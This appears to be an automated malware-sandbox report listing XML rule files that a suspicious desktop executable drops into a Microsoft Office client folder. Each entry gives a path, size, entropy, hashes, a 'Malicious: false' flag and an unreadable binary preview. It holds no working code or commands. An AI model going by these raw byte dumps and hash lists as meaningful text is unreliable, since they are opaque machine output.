Preview:	<?xml.GL.6..^........GJc%8!....,K....?$....B9WK\C..87IN...hwz..:xo.e. q....-.odIB$...wlS{..m..@x..[....r..Q4.:......[zua_...vA9....[.0q!X...........0......R-k....q..B9P{.E`.c..y..+.N.r.v2..o.NMZ.....p2...Y/s.l.`/J.3.q..g.$.%d..y.q.Q..._\.5.....=U....h)....4b...E.W.v.n....._..y.5{A:...=u,.=..:..;...._a.T-..N\.{\|.,.{...8.... .......$.-w... .._.H.q.].x!.'......N...Tj.......B..N..B..CL..W]..c...({...s.h.z.T..9.....5...d.D.G+..Jx...._...e....@ ...V..>...X8....d..E..,.TnH.Z;...s.n...g...Nw..q..S;.\..Y...;..g..U5...{^x%.~..'.?0l..+CP.$.t+.m.....c..@......T........<.....L.L.j.u...3G6}.R}07......=..u.2%...lYd..B.}...W..tb}.u..........Nf..^.n....Ru&0m2=-....V#K..&=..........._.d.2..H........(xx..>.&.g....Y..T..A.@x0].Q>E<.7u..A.O.Y..n...?'.&M...cY..S.%....r.......fe.u..`f.o7.y.`..G...i.M.}.K.....)..O.c....C..:..,....Ypk...sp^...hE8\.L.A.h...@.>..=.xs..8.e.....6r.0N].F.M....h.f&.gD.]....@)..w..j.x.[As.~B..y.....!.....+ .n..y.k1.[.eOsU..t...\|.L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.885766938138256
Encrypted:	false
SSDEEP:	48:J3R62eBUivkQojFPVBHDEikAfi9J50OdD:J3RZeBXUJdBHDEiriB0Ol
MD5:	53008DC7E750D94E6D09A0FBE3CF8926
SHA1:	34EBDA8DAB68C18C671621F0E3EF77AD1B9210C8
SHA-256:	032F7B3037322333E458379474DE61BA573A888DCCD172DD106036CD60902D88
SHA-512:	F92FAFFB8AD4A56406D7A0444FF6F20C4B538BB6EC81C69A762283AFF40EEABA05AAE90101F27ABBF0737738AFDBB1334BA51353891D23953C849ADB988B0408
Malicious:	false
Preview:	<?xml...Lo........4...2.qG,..`x.v}:.R.H..t0'.;E.<..}.f.&cM..@N.......H.&I.i...)e?.7n.w.P../@e..?.\..^W...D2.G.r$0..6..q.(..M..,..o.r.IH.R........d.`..y...c.sc..m.C.!..A.@..g<.@...$\...f.i-n.....=!.=.0..........r.T.S.a.y..\|K....AY..'..F.....4....%,..Z8.J..t...K5`..{;.8p..f.v..&..y.W.g....C.....!.`.......S.fb9...s..\|k..n.m.T...0"j.N.$"H.....AF)$...y.8\.A..Y....fN.X.>o%..ETpZ..@Q...\|y3M`.......;.9U3..u.v6...1>...c...7{[...qQ%.f.#...o...mH..0..G..V}"..HF...j!.U....d..Epvm..b....\|v.......a......%.Z@u?O..X...v.....qw.}.p`..\|.o...U". d.K.........5.z.~....i.Z6:...e%..NA.n....2.dO..B.<2.'$z+@...;&...w6...t....N.q..k`.p.O.SI...z.R(..F..[{XA.{...)&.\P.T%........G.w,B...fw..BL.@s'./..".`/aw....x6$....c.U.z. 5.,....r&.w%.9fq...........Hf.F8ke...T..n....V........t...Z..]..:.QR}........]..?O{L.35g...xtaf...KQ...-.7...lS...d.]..>.....z[..X........\..6.r..O.l.c*..qMP.V.;.$...wZ.Y.2.nJ..8?8.F....O..Tc..5.....h..EV.H2......C:.v.)r....v..1t:.:..lySJ...LT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886589624329031
Encrypted:	false
SSDEEP:	48:2VaqAZ7oieiierR3bDvQulGoQ8zcZmV9XCzkOzUnmIblK7D:2PA5o3iR13/a+4sZOx3
MD5:	9178632F7070C2805DDF98DFF8B8295A
SHA1:	1C047A8CDFDE2F234DB63E2BDE70C25D8ADDD4F6
SHA-256:	86BA57A43070B1509AF089A1F29D9C696D51464F4BF004A98DDEEE44960942FF
SHA-512:	FC06972464567CC79DC19778A4860CA51346435FB0FC33383AC63306D11A0709B69DC5039527A237289D2D75D43838FAE21BF4DE5ACC963731B58D35BA3B6310
Malicious:	false
Preview:	<?xml...l(...B.W....3.....3......c....}.....h.......Z.X.t.......K.z.gg.9$.....w.5..\....../d.p.!....l.f!...~..x..@X.d.,G..g....gj....W.A;.....F.../P....j..=k.=#..Iv...c<0:......e.n...rS.V%.9.._.F.....`.....H..TU(57.mr....7.D.}...z.H...\......+%.B.sVc...\....rAO.....N~.......#..s...c(. .......X5e..2...=]..R.x..2....OJms..H...y"..:........Bp...jn.............T..:.5...vt...l.q.....d.^..p.W..ddt..Oa!l.XC.q..qC...IGh...}Iz.ZE.9.T...o...&....1....3{.M.....>.k(...^...;.`..<.z.oE3..@..Mp.Q.DZ.$.L;..a....5#..z5...NKq..M....z.I~A.T..$n.L..A...'.>..M[p.Jn&......NS.S.F..6..4.OZ....(e.$o..\<.l-..;....N..x..:5..k.a....$J../.d..A..4.....@..d..'......JA8w:=.'..,..........N.[.\|...q...WX._.I.n".q.#r.v}...8...Q8s.yh..u...-...:zEN....... .n.rx.@..T.".fMj......zcP.<....a..y.....]...d..b....b...."h..;..4...I...B.....`.....%.I..Ry63..(.XI.I...h`.&.y...?$;P..3..9....@.RE...:..k..4.{......s!:%..50./\|...R.s6.;..... .:....e..8._...+G.F...}.J.....<5...O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.87324379465242
Encrypted:	false
SSDEEP:	48:i5o7YIXbuPwgzYY2xhZTbBEvwRN87TVFVytT9Tl55ND:iuXbuIZYwjTCkS7zVGZll
MD5:	29E9C7F37F25724A9A9EDAB1A613A0A9
SHA1:	960904722D5330E9BB2701731F87BDDCB22A81F5
SHA-256:	1895DEAD5B40D83C527CA845046C76DBDE8886DB99C830862AA9EE02F90254A7
SHA-512:	15698D5CEFC236FFF4E2501FC3CAA6A8FB9E7F2A702FCA3A1330D8F4152E0EBD7B731485A52B793F3CAE4D632B7575B8954B7B35DCE4A41AC47777DA94E85D11
Malicious:	false
Preview:	<?xml.2d...x......Y..mW..'.\|&...{...w...).....^.... ).;.5..m.E5}_...y..H3.'B,..+.\|..V..\|t."2.\.+o.'.....]..#....%-+.&>...J.c.. AE.....{...D.W{f......{..k..A.... .bj..t.IypMo2.%@0....l...Q.gW......C!'.......!....m.k..%..-.h...fo"0..N.....1O.c=...n.x....7~...V.-...}..~.<..s?,.t)5....m2..ON.Sk..=.....{......k...=....Bc1.z.V&..M.......y.).\.,..]...9;......=...N..d.G.n...\|. ._.?...+.1.<>.4...Q..].-......u.............;........-...R........Grf....f[.]...!.7.....{..Z.v...+@...\.....].,F.l.E0VlV=+v..P..\#G.C.@.V..=.d.r...x.)$...h........9+POQV...@.......!"...N..%.r....I..]...."..g.]..@......3...h2IZ+.IK.....P..kc@Vqa'V4i>.HZ..te..+.R...G..:m...oO...s%.G...6...&7.._... "...b..]..o..M8....1W......NA.u...W.r..}.T..=p..p....d.m..M..G..8...!.......qx..I...]k.XP..:c......Y...V..S.3Q.0j)^M#D0....y."^....T.I..b...:.W$.R...T.~...2....$..RD..:..O.Q..~Df\|.`.\.0.}D..6....<..U.a.,?"..,.)..~TL#......u.._.=-.7q[.04.<0A..zZ!b9.....>.6S.9...I...1....O..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8940023495580505
Encrypted:	false
SSDEEP:	48:DWxC93aGk1u84XrUwyphbu428MPB9KMPQ/D:DWx0r3MhyuAQr
MD5:	EF25D7E072DBBBFBAF44BF1247ACD3D4
SHA1:	1EA4B19EB4A07151B26689CAFA1106B58FB91F81
SHA-256:	EEAC20C50524B0FF0025A8B34D37B028941EC4BB5B92984618644C6F43157B0E
SHA-512:	91942D39990E24E50C40CCC7A3C01441C0AFADC325DDB2EF4AE1341D54CC83D526F918B7C771B03CE699F04985E990D49159799D3F0385EE7FB7CB6C25011BA6
Malicious:	false
Preview:	<?xmlp.1...a9.<...<w..3..I.m8...C.:..yta.9..<..>..CC.....`....N.....m{?.m[.Em..'$^w...6..(.>cH..q 1..0`.....b'....K.L$i.3..H7.6&.03.,....7..`.dw..+o=2eK...+..]c.dF..d(x......k...qT....>...Z... QR:.".....XK@f......U...6.f...lC.k...5Q....f..I#..:7..=.0.-......!.... ..4..ar? B`.G....7.;1Dw2....)..-.."RG.s.W.`[Q.fH..=..>./.b.0..A.^...L....~I.h....4}.pEs2.t..1!`.<4j..Q.:.......:9.={...7.....+t.$V. ]T.....d.A.xP..L.!.....Y..st~F...2t.oC.&.2..#..v.[!.....I%E .,...p&.54.Y......e.@...I.#!....?..m.(k,J.m...M..^.m.=m...v..n\cv..S..N.o............S....g.....~...B.....0.....YW.5.X.X.u&.(/?.~.{%.h.9n.....4..%>.l?....0.<`...V.Wj....W._.p\|...j./H.V.OB.n&(.Y.........`beny..$.L<.}($.W..f~..A...R'..@.4.e.u...s...m./.......zR..?I.?d9..i..M.(......'H.p...!..?....Q..).:.L.^...:K......W.>......R:.D...C.U[..F,J@..x..........*gj..8...9.9..r.D)...`#S.c...r.....b.......Z..#..m-.@..t...........6.No..\.9=X5...T...."..@x...L...........<O..N..y.>x._.9Q.!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8836800077303
Encrypted:	false
SSDEEP:	24:fXywkZ40+ea1OP8rU64hja1uiZ6osNKIlkWsXSPtMKJkL3XBEqPttAoPbypSbD:fXpkZ40A0P8rU6WwQ97sWtMKyL1IoWyD
MD5:	973239B64CCA5E32AFA6B736673A70C1
SHA1:	30CD29391DD2BE6FEB513DB88E1B4AC81BB0786A
SHA-256:	FECFE9C8291F1D3D9D1ED79DDB127ABBC095156D37873441CCA2F93D396A76DB
SHA-512:	A9A249B7CBF0405BA24F51AFB5F1B13D93B8C97B7FEA9EDE0E685726A0F0097F1C02ED51BD8E488BA483C1C56B66568A0F65571784A98661D3F95DFEB078B4E0
Malicious:	false
Preview:	<?xmlX]...mG.5.....I...z..f?qv.....V.&...V./8......f.l=z{..sm..q.f./.>U....._}..Z7.3U.......x...W..7...Kz}..?...4x.X........k$..i..:...%....V9..n{.@...dU...3b......(6Ck.<.p.....+........A.I.:.m..!.........7G...R./..;.U.S.2Nb;O..J...b.c..Y....c\|..D. X.c8K^.....=D.]q%.M.....=.v....xU.....p.......`.v+..T g....o\|...J....'......A.@.. U6.lK.. .q..5Ne!....#..uWj.........S.\|.Y$J....6TQJ......s.M..R.h..)O...p...< .P..+4.......%..J>......p...d..&...7p....~&...1..I.=.P).\|$T@.bA%~..O._}6.o.s.[.o..Fj.NM...l..{..s..m.......G.U.m......=..@TH....A<#...8...9...(.......[+.U {..[..8.W..z.\D`....V..g'....1........y.7/.-..W..0...;@.'..h.v.....}mC.y..Luy.S...E.B...^ew.!c...i.&..W.up...'..d......8A.n..8.V3..}.$.Y.L.H..UozW&X..nb1.n].}.m.^Y%X...W.z.t.Al....ZL.Y...I.!......H.m.[:.\.zA......h..O.~G......[.s0..0Lj.c....$]u.........K.1....n1..=e..v..D{..N...\...r....Lt_(2..A..$f.....M.).....a%5-;.c.S..\|uC...O1..`...g..v.c.#.*-......._.~.=..-[......"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.894681204823216
Encrypted:	false
SSDEEP:	48:wl1MUd44up3A54L0DwS2UvguzkLPzMVeMOeKycD:wLMH4k30448SLfkz
MD5:	9B6695E5C90770FB1953D68E70FA73A6
SHA1:	1EA76E627EC662A4C50E765C42DF01F85E7EFD59
SHA-256:	52710C0D53148FB0AE06B1B02783771C08D460E06E4A6C88F0BF5FE82C001B10
SHA-512:	DADC9E44477C8F45614C218F06641C0DA4C8B7C98964200D5E636F553F29061F5278013981E8D48C4051B071739979FB09A9D0D19CBA7F3327B82B52296681A3
Malicious:	false
Preview:	<?xml.G..a..?...r..m.<...$.5J.d.8.........M....%.G.......]G..yV...=.g....cO;.ay....v...m.Z...J`.l+M....CJ.:\.c..,"Q.:.r.v...b.!..8.....Ms..z~c..EK.rQ.M8.A%.y.)..~.$...`...1.P.3..u...o...i8. ._......(Fb\|.\......U...E...m..?~...)...9V..z.......t.o.=.._PS...h...V.$.0H.&...~.O....NM...>.D.3.....a.p.D.K.e..t].....6=.6t..Uk......8{.'....P.?..M.eS$l...1..Q.....!..h.."v..e.....C..z.c..f.l.DX\w'.W...u.."dY...u..\|......G8J...S..........C..........E.Y.J..~.<.y?.oZ,.h...;.n...............m..>...'... P^.......L.)bZ.:YRW..B.....E......1...M.3.(.$....\|...sx..m.B........`..~..3y.V^9V.].U..p...&.6P>..3....%...'s..E{..hi....[^.k......~}..0%".......@.....g.,\.C+p.."..'.G.........F9..=.....z.^........qPI[m_./..L..?..A\..F.D.`6......W.../X.[..(}.~[..9nn..cG8x.....3.@bh.....LeuZ.....A/.`.)D..._...P[B..z+.Q.g......H.X..Z...1,.....Klh......by...Y..I....'\|2.^mb.........H.Ed.m.L....@..q,8\|K.x...b.....^.....U..1:..6..b.....NdYf...s.T..?I=..v.z....)&a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.871133005220486
Encrypted:	false
SSDEEP:	48:vi/ctywjJmi+LbsXb/DG0eHFUZFb2WEXCITdV7X7D:vikYwFwby/DGHO7bF+CIT3
MD5:	9D315B20EE4A324638C9ADC3150B3AC5
SHA1:	F4FE88F6B86BC5C43AC24F0014B983194BF22B6D
SHA-256:	4029771807EB42136164796B73E7C41E97DCED91CAE87421A3A4A4B2B9AF4F06
SHA-512:	1E0603C87B789FDCDB1D2BC6FF84C3742FB3932F63D77123073981BBFB67A231504C5CDE381433FCEEFD085877A8B56727B647E194A60C43E2C95BBE760CD477
Malicious:	false
Preview:	<?xml.,...hDCN...#..m.%E2..a'`.6j..SK....~]v.n...`z....Y...=qd..Ht...P...=...;.Y...f..P-8[.Y..l..;.G...Xj.3D-...}.......D34Rm...V.[...N+...#U.X..}..\|....h...w.@..N...b.....c.i..B^....o. .U..m.lUx`$.nh......Mh..@.fE..L.._1@.0]4...x.;..3+.......}..x..jJ...q;.@."?..,.O2.......l8...b/.#...5.V.,.)....]Q........,..D&/].sq..............b...t....~=,...D..s.6U....c7...4.ll...~ ...br{{..YzH...h....N.1..:..Q..&<Q.\|.\g........k..+..p.^.=..Y.H.....cf.....f.eP\|....k=.1O.%..E0..?.W..[)3...mTur/o.....Jn.(]E.=..c....o.a.sZP...C!....C.w.....#.g~?......^..$4......P?..)d...%..pC&.../.61l.J.D....(..$+?....;.....<1....=......"e..X..)+\|.r.$,i...\>.).q...9]l.{....Y..K.m].U......[Q.B.(nU@..B..,..:{.._.u..N.w...H.]....R.o.Ph/ZF.d...x.{`.%...6..M....&...Sn.Q45%..t...eA-;E/MH8...._.`x....x... }(E..nJz.......P].w?.#..'..\|.....j1l....((..O..D.Z...~j.}...{.z.. .PW...s9c...`k.c...W.^bJw.................q..V..8.!..T..T}..5...MN.{.HZ....T......$c.U........`.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889852023390579
Encrypted:	false
SSDEEP:	24:U7cX6OjFQBbQ8wS97J22YCB7HEr7c9ptWaX5JjUWxzHpyP3hyXfnyR7RgYtbD:ZcfwSe2pB7HEr7sDWaX5veRyXq7qYND
MD5:	1FF6AAF56F8F76C8288A7EE67EC39270
SHA1:	56C8D1DEF78DBBDC407D6B1204760983DD592DC8
SHA-256:	6040D235FDA5FC3A38F876A660F63ED7AD6E37CDE53047125A0EFC2B5FFC51DF
SHA-512:	661D70A45DAEF049477BCCFB10B4FACEABFEA02513159B14EF8DB753330E7861D32A92D1AF45BF49033DAB9245A60A8A5340D430166C08E085FBD10C04C97242
Malicious:	false
Preview:	<?xml@..0z^.).1..I...\.S-.0`..".Jn.........f..>..2.n.r.{..6..X.U.ciW..!.....C...........Y/...Ka.<6.M0..._............4.c.8YS..cbAH..;7.D.).1j.4....#X...r.k..,#...S..NY..l.6..P%p...d.]5.'....o"..0.f.....`0.[..(..K..0.%....b.,^....e.O.......<f^0....3(.M.M..%y..1..C.......I....S.2{Y...]........'.._.. ....=.._....."....Bg..G;.7......MxC......lCJJ<.......69}.WF..L..'...k.x..%2jl.+U.j.p.h..6.ij..........\..0....8.0..@V..b...{.2.Jwe..F..ad.E.g.`.T...Jd.>...c...H..=..&.....:OA.qp......Pt..yn...........6.../.\|q...5..@.W.'....`..s..GrX<.j..?.......7j....9..d......wA.......z.6.]L.T....:.X.l.jc.6...{...R8...........w[.9.Q.!..\.[...@.....fHw...."..Q#....8.>.Z=].J.r..l...0.q.fq#B.u.w..3..9\v._R..u..,....Q..X._rv.(....870..pU.0.Y...M..3^.^s.1.u....]ZZ...-.....E.....;.K.Z.2...u$2..C..I6Gn.V.w...Vl....!$b.+..-..m.....,.z..{.....i..=..].....q\.S........u..y..&.p:..@k....(.11..3.p.....B...N~L.x.XBL._.$.m.@7....N.e..s"U..m.....Wt@>1W...(........+w.i.V...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.878011104394956
Encrypted:	false
SSDEEP:	48:EBmSrgMLZuPQA3OxEr0aJx9NGg/u5fZ8Fu1+mD:EBmpMYPKxEr02YgmFZb++
MD5:	5D3430794537769295EF19280811EE77
SHA1:	B5F87BB1DE2CB5FA95B58DD5E0B8C5433BD8B632
SHA-256:	97A7D4B4DFFF92E67149EC0EB8C8FD389AB5B9D61C0655548049651A6CD786CC
SHA-512:	B9237E6E3C4376EE94BB49E3DEECC13146856F17245F10660B1A45609E9147BB010D890D451E95557D8D0D34F0DEF144BFEB2A89596A4BBE674875D88FCD6BB1
Malicious:	false
Preview:	<?xml.....f.[_aX.....q.X.e.x...N.2.@....$.....q...].......[s.k.c..a}dYB.....dE.....'..W-....t.4..Ry.9C<..P.......N....D....m.&...A..<R7."9..'l".w.I..P...C..Y.W.D7.....].^.RI.K...?<u......Rn.9.]&p.Pd.....V....q.o7..0l.p.....O..5]q.I.y.\|...h..I...Kk7.!.3@O.`x..u..D...pOsg.7.4.D+e...Z"f....bG4a#...I1-..'0.......l..V..(.'.$...;7.AH.c..2Im..4.(......CG.!Rm...\zdra..u.z..<@. ;..E)-.._...6q.9.}dA....QGL.5...s:..9.........j.o,.R[ ..Eiy....^l..;R..K ]...)`K..>..d..e.....A.7....IX.{f3..h<.{K.!R..Unb.Fd..N...2..O/....F{"&.4..N..t.r.sG.....W....[.....-...qA....h.6+~.F...8...OH.C..bt..c..=....[.G\......l..n....oI....+w..,S<.......{........g.....6\|.z.5>.c.%-&s.. v....n..%...%...Q>.l..4lv%.u.]+g#.<.3......e..3.BqK.r....#b8......<.W..nK,1%N........{`.R......m4.i..ItY..W..L..J..9'F...sV..e..0.CY`n..K....Q{ D..EJ\|.D.1.!9i.P>......t}.s.'.2q.t.jTT..C..YC)o.^.P:..e.m..2u..!P...[.?............_X..3.t...q.a..H....=.4.+...d9...6',gA..s._.......v..`.v..Y.>.3.J...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.888636212782939
Encrypted:	false
SSDEEP:	48:jwC1zhgr0gIQt2f+3Mr0kDjQjTOtML4LTMFi3ddg/0ySmD:MaVgr0gIEZ3a0OUjTuLTMFSyn
MD5:	FB6F00FD5A1C229008B0205027A22534
SHA1:	DBC50AE5D33DF98642A318C79F944752D48162B9
SHA-256:	61EC3F98D9A4E29F3D6444C00AB7563C89D5322FAFF5DADBAADF7A380A3D34D3
SHA-512:	52227C225F71F68EB680BBC2CAF5552BAB166EB0C124C115A070DE69DBF7F303DDD98E0C21931734E3C956CFE7A331DE6B216C40A7AD9C06A173039819BAF3DD
Malicious:	false
Preview:	<?xml....\Qdto.....S..@...f\|L%\|Vu..p.x]gb.... ..p..K.gEE...4..f...8..d..."9.u].M.h....j..%.?1/..T.>..I.l..%.....g.iFS......r=.+.M...<.T\|.\|.....T..[..+o.....c....ky.^.v/F....Z.w..."y...t..-@..{(.r9E.<h.}.oL.3:..7..Q..(....)N6..Z..(..p.O..1..l....c.....aI.s+....4.9.00....K........zR....q....I.....'zL.1..:E._.A.r.A$.@.....>..a...^;O...+...QDw..,..F.....E......,.`AE.....;P.....t'.\|o2H.._....K6..F%.e....5y3M..o..n ~....&.....m3A.....8.c8...<..........eN.0....p..?Q\|>....o.......1.H..t...,..W...O..b.pEL."...Z,'2../&........g........K ..v..Y5.%l/....%&3.T.L)z....dhP.:..@g.....!v`.o{...0%....,d,-..,(.;.=...)Z..~.5)..es..w.\...{..V-'..z..K.<........\|e..d.P......1.U...rg...s...fb..>..-...{..L....(.+o.i...,y......o....Y...?..,....W..TpM.....r./..<o.eS$....d%..x..5.CM}...j.l.16EN.w..:G.c.(..L..R.fM.r}w ......1.vQ.V.-.........\|..rd..o.j5n.pNf.G.<(.D..+...cI......Z.a..%f.O....t..=.!.zq.{7..ya...s=.......[0....J....o...Q.8.L;..x@j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.892461140314257
Encrypted:	false
SSDEEP:	48:zcfwUKYCsHDDOCBLDGRioT4S2dO8Sjg+KesD:zRY/tDKRqObjgcI
MD5:	4953923AB9D25BB5788A7859BA9A9DD1
SHA1:	00EB74ADA8398B2E838D7DA6A8E33CDAD90C8213
SHA-256:	FBD66FB8DC1272B4CB6462E2FE43D40555FDCB313B61F76B6F0EE4C2CF0DF04F
SHA-512:	9606F13C2C013F10437E33DAA28675860F30656059EE2800A25E1004DA726BCEB8A9CFECF5C789698D66A11619EBB0B6CD9FECA4B953120FC99F2E09FD6BB4DF
Malicious:	false
Preview:	<?xmlY..t..aH........i..b.)T.(.....;z..i_C-."mL.-.O.x.h.2...".......9....-.da<...v.O.....x...&..Ny.`..%.-+.z.....L....2..f(..K.vIC....oz$.n..h..v.../yce........>N..........}...h.4?4... .y..)m..D.Gp.S .2...a.....Gk....Q..\|.h.X..Ln..zX.7.BO.]n.xCGJ.T..Z.o.8.{\|w...... ."......>_;..&..t.i.j8..KK...&......2..(...JS;i%q..`K...Yn....7..-.=B..u...L.`).~.$........Z<.3\ ..q.5A.L./..a...z.....h. p.@;....%O.>0..\........u.L-hFO\|H..Z.......o.\|X.<.p.E.PlZ3@.7#..0^M>.=...M\..W]C.\.c...'.....z.\..sK(W......{.(z*.7V/XX...Be...G..f.."\.H`.........dW...o.>..(..y....!..M....}.....[V2.....NX.f.\|&.f.....Km._q...o.v..9..K......c..,...S6O...8x.S.....%.3.'...e....i_.']...8]."....<.o.;M..Y..K7..6...Y..l.N..u..F.Rf..v..3......L..$e -s?Ss..G.;....=..rV"..r]P-.........T.Q.......w...va. ....6P'.q.y.,.~E.oK.......X.....GP.G.o...Ct..q....q.c...m....%...Kh.\.G....&....s}......)-.V'n..........8..?....g......../P..F....(6.U..jx.nC?...9U$..j;..'....bZ}..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8848822606670925
Encrypted:	false
SSDEEP:	48:NHYoN/2ZTjY43PcxWyaUoNDGmXxVJH2UD:N4COZTxPaWRdGmXx2A
MD5:	9A25264EE19DE1F4B38597F83DEFB47B
SHA1:	C15718DFFE502ECDD385E92A5EB96D4082007999
SHA-256:	56872F1BB02594E1837E2D1D5D8D900FB6BB1F9888E0FE024E81B6AA28215CBA
SHA-512:	AD48658443F470FAB5C6D2FF6E47C1EEECE95E07419E28B55D3E2235B02D8C06391F790CE93BBDD03672C6AAD5BDFEB10D27066391FC2D1D02AE504E88C8686F
Malicious:	false
Preview:	<?xml...N...Z.....n.D.U.W.l.q.r.....)..\|T..A'.W....%D.....(r..N..#1...8....t.w......gk7.y..8 V.r.Ti46m~nT.....Tx'.,D.h/...<u;.....0..v..b.j...nJ.?ss.3...6.7.B.....E.k.Q.a.O.=/......\|..~bm..?2.......0StkX..e.S>.............7T...Vw.. t.#]#.c..:..E..[.....e".+2of`zf...`J..!.;w..1.t+.=T.8.F...'"./.[....B..I...F+`.=)......X...<?L0[l..8r0pp7..,.}..AfnJ.?..Z-3s.)U.[.:..G^.5;.3.p(....)N.#Qj.....C.v............>...b..Q....l.+....l..9.9....J..C.....G...Z...4W\.]/r.V......m..Rk.W.M.]....B....E.......=..v.^...H.....\h..e7~...qV.7]...+..ZH..o.=v.....F.A...].m..)..&.J.\.H..4.'y..0...[7....B........w.;...\|..d...d...b~....y.sI..vu.Fze..q.^.-.}.j.]P.~..w.j.......k...~...."..U......... ........L+9(.B.t..\|.~>}}AM....W.....z..j .Ch:..s.Q.$.I....`..[.....C!..)/.mN......z...AN...%)Y.Iw....{D......o...2O..8K.r.9R.R8..#.g...W.......B.Bh?N..qK..\...h....w.&./.9.R...H....m..\..'..l..bz.}@rt{GW..8.-vf....v;..\6rA..j.....m..u..){.:.$.....[Q..V..N.........D.^.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.874259289518629
Encrypted:	false
SSDEEP:	48:WtHbZ3ibGH5hpPkSTJh+zo/BJVAWBcWW+T7Z5SD:e1yby5hpsIJh+cOWTWk7S
MD5:	F5F0B7B5B4A6EAED8777640B903B90B7
SHA1:	2AF0AAB655A84CE775337B150AB69B41856808D1
SHA-256:	D96A40DF5AA78E1364AA529975A1FA3DAC5A5168E8EE70E6711F38A71F525706
SHA-512:	C9AA6D5F40037A2B38165EE84B46FFEC7F3B1EA1D6D332C8EB2DC92A086C8976E987E1B087089F337B7B96DB64AB35B85F647D71D0DCA6EF4A9C91E0070A7EC8
Malicious:	false
Preview:	<?xml.&qh.6.u.l...$...bf.W6H.A..X..}9.)I..IN.../v4/OL.'.J..-.m. .Lk..8\..n2.R.V..:.....K..-1.^....vq......?..D.%.....x.c.IQ\...,&.C/...V..8.I.p.p....S..93.v....!.(...)...a.#ob..Y...k.9'.V.E..._X.,...J....]....vs3.f0,.....R8...n......o./..u..:.:...&..&F....zp...~A....Vrl W..\|.eB...:-]..~1..lD..k.?F.....X.....s.j..w{LH..Dv6_..7BE..+`.m..N....YZ..Y...m...d....(..u.Ps.......l..U.Y..Hb...`).a........&....t.B2.....~...m.._($\7...1.!..a........et.=T&H<..Z..cjw-#3....?..h=&,...../.H.g..5....r.nFgt....`y.Km_y..b.p.h....`..4)..y.Y....6P.m..0..vfn.x.1.z.i,..'.m.yq.......OXH.yy..\.;.i......<.:?d.2/.c3N$..O.x.3b..mN%n..^X..r.6W...9..S?.5K.m+WP.Pl.l.f..H.......aM}.>uT...W\|?.R`...z.._f.0....G...+!q.G.Y..O...a.k.....]......5..<.(...t..v...82..K.e.h.......G.........RQ...X...l...L.......gW...bA.8...soKs.......Z:.0...2...QJX.m.K.....l.Y..>.q.....O.w!........hA.4.293..j...F....Y.4M.hnM.....X=..*..X.i.Jsi......X.X'.-E.=.............Q.0..6t....q+. .=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.883907066376736
Encrypted:	false
SSDEEP:	48:d2KYAtS21RL7wCbrE2eaN+HJasWWNP6E/Nc+D4HUBCAAEPesD:d2KYAtR1RPVbYlHJasWW3/m08A/
MD5:	57FEA09A283E0A3998BC427CF90B8D2B
SHA1:	17704C693BBCD0A675ADE51F0CC497693696313C
SHA-256:	A435E48AFBB705FCC21A8ECDC5BAE044D60942FB395AA1A7AAB14355BE2856C4
SHA-512:	9B70536633FC840548137871360244A1E2DCE4053142C016B9C3CF3EAF599745C9597FB94A09FB2882D0045D8A3D5420E7DC4379B28993FE4688AF68738DC598
Malicious:	false
